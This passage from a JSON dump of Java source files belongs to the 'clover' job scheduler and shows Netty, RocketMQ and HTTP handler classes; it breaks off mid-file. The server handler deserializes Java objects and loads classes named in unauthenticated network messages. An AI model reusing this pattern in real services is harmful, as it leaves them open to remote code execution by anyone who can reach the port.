    "content": "package com.gome.clover.common.netty.server;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.compress.CompressUtil;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.netty.client.ObjectReqClient;\r\nimport com.gome.clover.common.tools.ClassUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.gome.clover.common.zeromq.ZeroMQEntity;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ClientJobBuilder;\r\nimport com.gome.clover.core.job.ServerJob;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport com.gome.clover.core.module.ModuleSchedulerServer;\r\nimport com.gome.clover.core.scheduler.MyScheduler;\r\nimport com.mongodb.BasicDBObject;\r\nimport com.mongodb.DBCollection;\r\nimport com.mongodb.DBCursor;\r\nimport com.mongodb.DBObject;\r\nimport com.sun.org.apache.xpath.internal.operations.Bool;\r\nimport io.netty.channel.*;\r\nimport org.apache.commons.codec.binary.Base64;\r\nimport org.quartz.*;\r\nimport org.quartz.impl.StdSchedulerFactory;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport static org.quartz.JobBuilder.*;\r\nimport static org.quartz.TriggerBuilder.*;\r\nimport static org.quartz.SimpleScheduleBuilder.*;\r\n\r\n\r\npublic class SubReqServerHandel extends SimpleChannelInboundHandler {\r\n\tprivate static final Logger logger = LoggerFactory.getLogger(SubReqServerHandel.class);\r\n\t@Override\r\n\tpublic void channelRead0(ChannelHandlerContext ctx, Object msg) throws Exception {\r\n\t\tString msg1 = new String(CompressUtil.uncompress((byte[])msg));\r\n\t\tZeroMQEntity entity = JSON.parseObject(msg1, ZeroMQEntity.class);\r\n\t\tif(entity != null){\r\n\t\t\tlogger.info(\"Server接收到Client数据成功，开始处理.....\");\r\n\t\t\tthis.serverHandelJob(entity,ctx);\r\n\t\t\t//ctx.writeAndFlush(CompressUtil.compress(entity.getMsg().getBytes()));\r\n\t\t}\r\n\t\t//super.channelRead(ctx, msg);\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void exceptionCaught(ChannelHandlerContext ctx, Throwable cause)\r\n\t\t\tthrows Exception {\r\n\t\t// TODO Auto-generated method stub\r\n\t\tcause.printStackTrace();\r\n\t\tctx.close();\r\n\t}\r\n\r\n\tpublic void  serverHandelJob(ZeroMQEntity zeroMQEntity,ChannelHandlerContext ctx) throws SchedulerException, ClassNotFoundException {\r\n\t\tlogger.error(\"SubReqServerHandel: MODULE_TYPE >>>\"+zeroMQEntity.getDestServer());\r\n\t\ttry {\r\n\t\tif (CommonConstants.MODULE_TYPE_SERVER.equals(zeroMQEntity.getDestServer())) {\r\n\t\t\tSystem.err.println(\"--------------MODULE_TYPE_SERVER--------------\");\r\n\t\t\tServerJob serverJob = (ServerJob) ClassUtil.BytesToObject(Base64.decodeBase64(zeroMQEntity.getJobInfo()));\r\n\t\t\tModuleSchedulerServer server = ModuleSchedulerServer.getInstance();\r\n\t\t\tserver.handlerJob(serverJob);\r\n\t\t} else if (CommonConstants.MODULE_TYPE_CLIENT.equals(zeroMQEntity.getDestServer())) {\r\n\t\t\tSystem.err.println(\"--------------MODULE_TYPE_CLIENT--------------\");\r\n\t\t\tServerJob serverJob = (ServerJob) ClassUtil.BytesToObject(Base64.decodeBase64(zeroMQEntity.getJobInfo()));\r\n\t\t\tModuleSchedulerClient client = ModuleSchedulerClient.getInstance();\r\n\t\t\t\t/**\r\n\t\t\t\tClientJob clientJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64((String) serverJob.getJobDetail().getJobDataMap().get(CommonConstants.CLIENT_JOB_INFO)));\r\n\t\t\t\tresetClientJobTriggerAndJobType(clientJob);\r\n\t\t\t\tclient.handlerJob(clientJob);\r\n\t\t\t\t **/\r\n\t\t\tzeroMQEntity.setMsg(CommonConstants.SUCCESS);\r\n\t\t\tzeroMQEntity.setJobInfo(Base64.encodeBase64String(ClassUtil.ObjectToBytes(serverJob)));\r\n\t\t\t//new ObjectReqClient().connect(CommonConstants.NETTY_SERVER_PORT,zeroMQEntity.getDestIp(), zeroMQEntity);// 只传类路径给client端\r\n\t\t\tctx.writeAndFlush(CompressUtil.compress(ClassUtil.ObjectToBytes(zeroMQEntity)));\r\n\t\t} else if (CommonConstants.MODULE_TYPE_SERVER_WITH_ADMIN.equals(zeroMQEntity.getDestServer())) {\r\n\t\t\tString mqMsg = zeroMQEntity.getMsg();\r\n\t\t\tif (!StringUtil.isEmpty(mqMsg)) {\r\n\t\t\t\tSystem.err.println(\"--------------MODULE_TYPE_SERVER_WITH_ADMIN--------------\");\r\n\t\t\t\tBasicDBObject basicDBObject = (BasicDBObject) com.mongodb.util.JSON.parse(mqMsg);\r\n\t\t\t\tString jobGroup = (String) basicDBObject.get(\"jobGroup\");\r\n\t\t\t\tString jobName = (String) basicDBObject.get(\"jobName\");\r\n\t\t\t\tScheduler scheduler = new StdSchedulerFactory().getScheduler();\r\n\t\t\t\tJobKey jobKey = new JobKey(jobName, jobGroup);\r\n\t\t\t\tif (scheduler.checkExists(jobKey)) {\r\n\t\t\t\t\tscheduler.deleteJob(jobKey);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} else if (CommonConstants.MODULE_TYPE_CLIENT_WITH_ADMIN.equals(zeroMQEntity.getDestServer())) {\r\n\t\t\tString mqMsg = zeroMQEntity.getMsg();\r\n\t\t\tif (!StringUtil.isEmpty(mqMsg)) {\r\n\t\t\t\tSystem.err.println(\"--------------MODULE_TYPE_CLIENT_WITH_ADMIN--------------\");\r\n\t\t\t\tBasicDBObject basicDBObject = (BasicDBObject) com.mongodb.util.JSON.parse(mqMsg);\r\n\t\t\t\tString jobGroup = (String) basicDBObject.get(\"jobGroup\");\r\n\t\t\t\tString jobName = (String) basicDBObject.get(\"jobName\");\r\n\t\t\t\tString jobClassName = (String) basicDBObject.get(\"jobClassName\");\r\n\t\t\t\tClass<? extends Job> jobClass = (Class<? extends Job>) Class.forName(jobClassName);\r\n\t\t\t\tClientJob.JobType jobType = ClientJob.JobType.valueOf((String) basicDBObject.get(\"jobType\"));\r\n\t\t\t\tClientJob.ExecuteType executeType = ClientJob.ExecuteType.valueOf((String) basicDBObject.get(\"executeType\"));\r\n\t\t\t\tClientJob.JobStrategy jobStrategy = ClientJob.JobStrategy.valueOf((String) basicDBObject.get(\"jobStrategy\"));\r\n\t\t\t\tString startTime = (String) basicDBObject.get(\"startTime\");\r\n\t\t\t\tString cronExpression = (String) basicDBObject.get(\"cronExpression\");\r\n\t\t\t\tClientJob clientJob = null;\r\n\t\t\t\tif (!StringUtil.isEmpty(startTime) && !StringUtil.isEmpty(cronExpression)) {\r\n\t\t\t\t\tclientJob = ClientJobBuilder.quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndStartDate(jobGroup, jobName, jobClass,\r\n\t\t\t\t\t\t\tjobType, executeType, jobStrategy, DateUtil.formatWithDefaultPattern(startTime));\r\n\t\t\t\t} else if (!StringUtil.isEmpty(startTime) && StringUtil.isEmpty(cronExpression)) {\r\n\t\t\t\t\tclientJob = ClientJobBuilder.quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndStartDate(jobGroup, jobName, jobClass,\r\n\t\t\t\t\t\t\tjobType, executeType, jobStrategy, DateUtil.formatWithDefaultPattern(startTime));\r\n\t\t\t\t} else if (StringUtil.isEmpty(startTime) && !StringUtil.isEmpty(cronExpression)) {\r\n\t\t\t\t\tclientJob = ClientJobBuilder.quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndCronExpression(jobGroup, jobName, jobClass,\r\n\t\t\t\t\t\t\tjobType, executeType, jobStrategy, cronExpression);\r\n\t\t\t\t}\r\n\t\t\t\tif (null != clientJob) {\r\n\t\t\t\t\tString fixedClientIps = (String) basicDBObject.get(\"fixedClientIps\");\r\n\t\t\t\t\tif (!StringUtil.isEmpty(fixedClientIps))\r\n\t\t\t\t\t\tclientJob.setFixedClientIps(fixedClientIps.split(\",\"));\r\n\t\t\t\t\tString fixedServerIps = (String) basicDBObject.get(\"fixedServerIps\");\r\n\t\t\t\t\tif (!StringUtil.isEmpty(fixedServerIps))\r\n\t\t\t\t\t\tclientJob.setFixedServerIps(fixedServerIps.split(\",\"));\r\n\t\t\t\t\tModuleSchedulerClient.getInstance().handlerJob(clientJob);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} else if (CommonConstants.MODULE_TYPE_SERVER_WITH_MONITOR.equals(zeroMQEntity.getDestServer())) {\r\n\t\t\tString mqMsg = zeroMQEntity.getMsg();\r\n\t\t\tif (!StringUtil.isEmpty(mqMsg)) {\r\n\t\t\t\tSystem.err.println(\"--------------MODULE_TYPE_SERVER_WITH_MONITOR--------------\");\r\n\t\t\t\tBasicDBObject basicDBObject = (BasicDBObject) com.mongodb.util.JSON.parse(mqMsg);\r\n\t\t\t\tString action = (String) basicDBObject.get(\"action\");\r\n\t\t\t\tString ip = (String) basicDBObject.get(\"ip\");\r\n\t\t\t\tif (!StringUtil.isEmpty(action) && !StringUtil.isEmpty(ip)) {\r\n\t\t\t\t\tif (\"reloadDB\".equals(action)) {//恢复数据\r\n\t\t\t\t\t\tDBCollection dbCollection = MongoDBUtil.INSTANCE.getCollection(DBTableInfo.TBL_CLOVER_JOB);\r\n\t\t\t\t\t\tDBObject condition = new BasicDBObject();\r\n\t\t\t\t\t\tcondition.put(DBTableInfo.COL_SERVER_IP, ip);\r\n\t\t\t\t\t\tcondition.put(DBTableInfo.COL_JOB_TYPE, CommonConstants.JOB_TYPE_REMOTE);\r\n\t\t\t\t\t\tDBCursor cursorDocMap = dbCollection.find(condition);\r\n\t\t\t\t\t\twhile (cursorDocMap.hasNext()) {\r\n\t\t\t\t\t\t\tClientJob clientJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64((String) cursorDocMap.next()\r\n\t\t\t\t\t\t\t\t\t.get(DBTableInfo.COL_JOB_INFO)));\r\n\t\t\t\t\t\t\tMyScheduler scheduler = MyScheduler.INSTANCE;\r\n\t\t\t\t\t\t\tscheduler.start();\r\n\t\t\t\t\t\t\tscheduler.add(clientJob);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\tzeroMQEntity.setMsg(CommonConstants.SUCCESS);\r\n\t\t}catch (Exception e){\r\n\t\t\tzeroMQEntity.setMsg(CommonConstants.ERROR_CODE);\r\n\t\t\tlogger.info(\"Server回调Client异常\",e);\r\n\t\t}\r\n\t}\r\n\r\n\tprivate void resetClientJobTriggerAndJobType(ClientJob clientJob) {\r\n\t\tclientJob.setTrigger(TriggerBuilder.newTrigger().startNow().withIdentity(clientJob.getTrigger().getKey()).build());\r\n\t    clientJob.setJobType(ClientJob.JobType.REMOTE);\r\n    }\r\n\r\n\r\n\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/rocketmq/ConsumerUtil.java",
    "content": "package com.gome.clover.common.rocketmq;\r\n\r\nimport com.alibaba.rocketmq.client.consumer.DefaultMQPushConsumer;\r\nimport com.alibaba.rocketmq.client.consumer.listener.ConsumeConcurrentlyContext;\r\nimport com.alibaba.rocketmq.client.consumer.listener.ConsumeConcurrentlyStatus;\r\nimport com.alibaba.rocketmq.client.consumer.listener.MessageListenerConcurrently;\r\nimport com.alibaba.rocketmq.client.exception.MQClientException;\r\nimport com.alibaba.rocketmq.common.message.MessageExt;\r\nimport com.gome.clover.common.tools.ClassUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport com.gome.clover.common.tools.ProgressUtil;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport com.gome.clover.core.module.ModuleSchedulerServer;\r\nimport org.apache.commons.codec.binary.Base64;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.io.UnsupportedEncodingException;\r\nimport java.util.List;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Consumer Util\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class ConsumerUtil {\r\n    private static final Logger logger = LoggerFactory.getLogger(ConsumerUtil.class);\r\n/**\r\n    public static void startup(String namesrvAddr, String topic, String subExpression) throws MQClientException {\r\n        DefaultMQPushConsumer consumer = new DefaultMQPushConsumer(\"consumer-clover-group\");\r\n        consumer.setInstanceName(\"ConsumerInstance_\" + ProgressUtil.getPid());\r\n        consumer.setNamesrvAddr(namesrvAddr);\r\n        consumer.subscribe(topic, subExpression);\r\n        consumer.registerMessageListener(new MessageListenerConcurrently() {\r\n            @Override\r\n            public\r\n            consumeMessage(List<MessageExt> msgs, ConsumeConcurrentlyContext context) {\r\n                System.out.println(\"consumeMessage\");\r\n                MessageExt msg = msgs.get(0);\r\n                if (null == msg) return ConsumeConcurrentlyStatus.CONSUME_SUCCESS;\r\n                if (CommonConstants.MODULE_TYPE_SERVER.equals(msg.getKeys())) {\r\n                    if(msg.getTags() != null && msg.getTags().equals(IpUtil.getLocalIP().replace(\".\", \"-\"))){\r\n                        System.err.println(\"MODULE_TYPE_SERVER--------------\");\r\n                        ClientJob clientJob = null;\r\n                        try {\r\n                            clientJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64(new String(msg.getBody(), \"ISO-8859-1\")));\r\n                        } catch (UnsupportedEncodingException e) {\r\n                            e.printStackTrace();\r\n                        }\r\n                        System.err.println(\"clientJob\"+clientJob.getTrigger());\r\n                        ModuleSchedulerServer server = ModuleSchedulerServer.getInstance();\r\n                        //server.handlerJob(clientJob);\r\n                    }\r\n\r\n                } else if (CommonConstants.MODULE_TYPE_CLIENT.equals(msg.getKeys())) {\r\n                    if (msg.getTags() != null && msg.getTags().equals(IpUtil.getLocalIP().replace(\".\", \"-\"))) {\r\n                        System.err.println(\"MODULE_TYPE_CLIENT--------------\");\r\n                        ClientJob clientJob = null;\r\n                        try {\r\n                            clientJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64(new String(msg.getBody(), \"ISO-8859-1\")));\r\n                        } catch (UnsupportedEncodingException e) {\r\n                            e.printStackTrace();\r\n                        }\r\n                        System.err.println(\"clientJob\" + clientJob.getTrigger());\r\n                        ModuleSchedulerClient client = ModuleSchedulerClient.getInstance();\r\n                        client.handlerJob(clientJob);\r\n                    }\r\n                }\r\n                return ConsumeConcurrentlyStatus.CONSUME_SUCCESS;\r\n            }\r\n        });\r\n\r\n        consumer.start();\r\n        System.out.println(\"Consumer Started.\");\r\n    }\r\n\r\n    public static void main(String args[]) {\r\n        try {\r\n            ConsumerUtil.startup(\"10.58.50.204:9876;10.58.50.205:9876\", CommonConstants.TOPIC_CLOVER_SERVER, IpUtil.getLocalIP().replace(\".\", \"-\"));\r\n        } catch (Exception e) {\r\n\r\n        }\r\n\r\n    }\r\n**/\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/rocketmq/ProducerUtil.java",
    "content": "package com.gome.clover.common.rocketmq;\r\n\r\nimport com.alibaba.rocketmq.client.exception.MQBrokerException;\r\nimport com.alibaba.rocketmq.client.exception.MQClientException;\r\nimport com.alibaba.rocketmq.client.producer.DefaultMQProducer;\r\nimport com.alibaba.rocketmq.client.producer.SendResult;\r\nimport com.alibaba.rocketmq.common.message.Message;\r\nimport com.alibaba.rocketmq.remoting.exception.RemotingException;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport com.gome.clover.common.tools.ProgressUtil;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Producer Util\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\npublic class ProducerUtil {\r\n    private static  final Logger logger = LoggerFactory.getLogger(ProducerUtil.class);\r\n    private static DefaultMQProducer producer;\r\n    static {\r\n        producer = new DefaultMQProducer(\"producer-clover-group\");\r\n        producer.setNamesrvAddr(\"10.58.50.204:9876;10.58.50.205:9876\");\r\n        producer.setInstanceName(\"ProducerInstance_\" + ProgressUtil.getPid());\r\n        try {\r\n            producer.start();\r\n        } catch (MQClientException e) {\r\n           if(logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"ProducerUtil-->>producer.start() error\",e);\r\n        }\r\n    }\r\n\r\n    public static SendResult send(Message msg) throws InterruptedException, RemotingException, MQClientException, MQBrokerException {\r\n        return producer.send(msg);\r\n    }\r\n\r\n    public static void shutdown(){\r\n        producer.shutdown();\r\n    }\r\n    public  static  void main(String args[]){\r\n        try{\r\n            Message msg = new Message();\r\n            msg.setTopic(CommonConstants.TOPIC_CLOVER_SERVER);\r\n            String ip  = IpUtil.getLocalIP();\r\n            msg.setTags(IpUtil.getLocalIP().replace(\".\",\"-\"));\r\n            msg.setKeys(CommonConstants.MODULE_TYPE_CLIENT);\r\n            msg.setBody(\"sb\".getBytes());\r\n            System.err.println(\"SendResult\"+ProducerUtil.send(msg));\r\n            shutdown();\r\n        }catch (Exception e){\r\n\r\n        }\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/rpc/HttpRequestEntity.java",
    "content": "package com.gome.clover.common.rpc;\r\n\r\nimport java.io.Serializable;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:MQ Entity\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class HttpRequestEntity implements Serializable {\r\n\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/rpc/HttpRequestHandler.java",
    "content": "package com.gome.clover.common.rpc;\r\n\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport org.jboss.netty.buffer.ChannelBuffers;\r\nimport org.jboss.netty.channel.*;\r\nimport org.jboss.netty.handler.codec.http.*;\r\nimport org.jboss.netty.util.CharsetUtil;\r\n\r\nimport java.io.UnsupportedEncodingException;\r\nimport java.net.URLDecoder;\r\nimport java.util.List;\r\nimport java.util.Map;\r\nimport java.util.regex.Matcher;\r\nimport java.util.regex.Pattern;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Http Request Handler\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\npublic class HttpRequestHandler extends SimpleChannelUpstreamHandler\r\n{\r\n    private static final String RESPONSE_TEMPLATE = \"{success:%d, m:'%s'}\";\r\n    private static final String PATTERN = \"([^?|!]*)(.*)\";\r\n\r\n    private String decodeUri(String uri) {\r\n        try {\r\n            return URLDecoder.decode(uri, \"UTF-8\");\r\n        } catch (UnsupportedEncodingException e) {\r\n            try {\r\n                return URLDecoder.decode(uri, \"ISO-8859-1\"); } catch (UnsupportedEncodingException e1) {\r\n            }\r\n        }\r\n        return uri;\r\n    }\r\n\r\n    private static String getParameterFromUri(String startPrefix, String uri)\r\n    {\r\n        Pattern pattern = Pattern.compile(startPrefix + \"([^?|!]*)(.*)\",\r\n                2);\r\n        Matcher matcher = pattern.matcher(uri);\r\n        if (!matcher.find()) {\r\n            return null;\r\n        }\r\n        return matcher.group(1);\r\n    }\r\n\r\n    public void messageReceived(ChannelHandlerContext ctx, MessageEvent e)\r\n            throws Exception\r\n    {\r\n        HttpRequest request = (HttpRequest)e.getMessage();\r\n        String uri = decodeUri(request.getUri());\r\n        QueryStringDecoder queryStringDecoder = new QueryStringDecoder(request.getUri());\r\n        Map params = queryStringDecoder.getParameters();\r\n        String msg;\r\n        if (uri.startsWith(\"/push/\")) {\r\n            msg = getParameterValue(\"msg\", params);\r\n            if(StringUtil.isEmpty(msg)) return;\r\n            System.err.println(\"msg:\"+msg);\r\n            writeResponse(e, HttpResponseStatus.OK, String.format(\"{success:%d, msg:'%s'}\",\r\n                    new Object[] { Integer.valueOf(1), Long.valueOf(1)}),request);\r\n        }  else {\r\n\r\n        }\r\n\r\n    }\r\n\r\n    private String getParameterValue(String parameterName, Map<String, List<String>> params)\r\n    {\r\n        List values = (List)params.get(parameterName);\r\n        String parameterValue = null;\r\n        if ((values != null) && (!values.isEmpty())) {\r\n            parameterValue = (String)values.get(0);\r\n        }\r\n        return parameterValue;\r\n    }\r\n\r\n    private void writeResponse(MessageEvent e, HttpResponseStatus httpResponseStatus, String bufString, HttpRequest request)\r\n    {\r\n        HttpResponse response = new DefaultHttpResponse(HttpVersion.HTTP_1_1,\r\n                httpResponseStatus);\r\n        response.setContent(ChannelBuffers.copiedBuffer(bufString,\r\n                CharsetUtil.UTF_8));\r\n        response.setHeader(\"Content-Type\", \"application/json; charset=UTF-8\");\r\n        ChannelFuture future = e.getChannel().write(response);\r\n        future.addListener(ChannelFutureListener.CLOSE);\r\n    }\r\n\r\n    public void exceptionCaught(ChannelHandlerContext ctx, ExceptionEvent e)\r\n            throws Exception\r\n    {\r\n        e.getCause().printStackTrace();\r\n        e.getChannel().close();\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/rpc/HttpResponseEntity.java",
    "content": "package com.gome.clover.common.rpc;\r\n\r\nimport java.io.Serializable;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:HttpResponseEntity\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class HttpResponseEntity implements Serializable {\r\n    /**\r\n     * 0:失败,1:成功\r\n     */\r\n    private int success;\r\n    /**\r\n     * 错误消息/消息内容\r\n     */\r\n    private String msg;\r\n\r\n    /**\r\n     * 消息的目的地\r\n     */\r\n    private String dest;\r\n    public HttpResponseEntity() {\r\n    }\r\n\r\n    public HttpResponseEntity(String msg, String dest) {\r\n        this.msg = msg;\r\n        this.dest = dest;\r\n    }\r\n\r\n    public int getSuccess() {\r\n        return success;\r\n    }\r\n\r\n    public void setSuccess(int success) {\r\n        this.success = success;\r\n    }\r\n\r\n    public String getMsg() {\r\n        return msg;\r\n    }\r\n\r\n    public void setMsg(String msg) {\r\n        this.msg = msg;\r\n    }\r\n\r\n    public String getDest() {\r\n        return dest;\r\n    }\r\n\r\n    public void setDest(String dest) {\r\n        this.dest = dest;\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/rpc/QueueDaemon.java",
    "content": "package com.gome.clover.common.rpc;\r\n\r\nimport org.jboss.netty.bootstrap.ServerBootstrap;\r\nimport org.jboss.netty.channel.ChannelPipeline;\r\nimport org.jboss.netty.channel.ChannelPipelineFactory;\r\nimport org.jboss.netty.channel.Channels;\r\nimport org.jboss.netty.channel.socket.nio.NioServerSocketChannelFactory;\r\nimport org.jboss.netty.handler.codec.http.HttpRequestDecoder;\r\nimport org.jboss.netty.handler.codec.http.HttpResponseEncoder;\r\n\r\nimport java.net.InetSocketAddress;\r\nimport java.util.concurrent.Executors;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Queue Daemon\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class QueueDaemon {\r\n    private int port;\r\n\r\n    public QueueDaemon(int port)\r\n    {\r\n        this.port = port;\r\n    }\r\n\r\n    public void start() {\r\n        ServerBootstrap bootstrap = new ServerBootstrap(\r\n                new NioServerSocketChannelFactory(\r\n                        Executors.newCachedThreadPool(),\r\n                        Executors.newCachedThreadPool()));\r\n\r\n        bootstrap.setPipelineFactory(new ChannelPipelineFactory() {\r\n            public ChannelPipeline getPipeline() throws Exception {\r\n                ChannelPipeline pipeline = Channels.pipeline();\r\n                pipeline.addLast(\"decoder\", new HttpRequestDecoder());\r\n                pipeline.addLast(\"encoder\", new HttpResponseEncoder());\r\n                pipeline.addLast(\"handler\",\r\n                        new HttpRequestHandler());\r\n                return pipeline;\r\n            }\r\n        });\r\n        bootstrap.setOption(\"child.tcpNoDelay\", Boolean.valueOf(true));\r\n        bootstrap.setOption(\"child.keepAlive\", Boolean.valueOf(true));\r\n        bootstrap.setOption(\"child.reuseAddress\", Boolean.valueOf(true));\r\n        bootstrap.setOption(\"child.connectTimeoutMillis\", 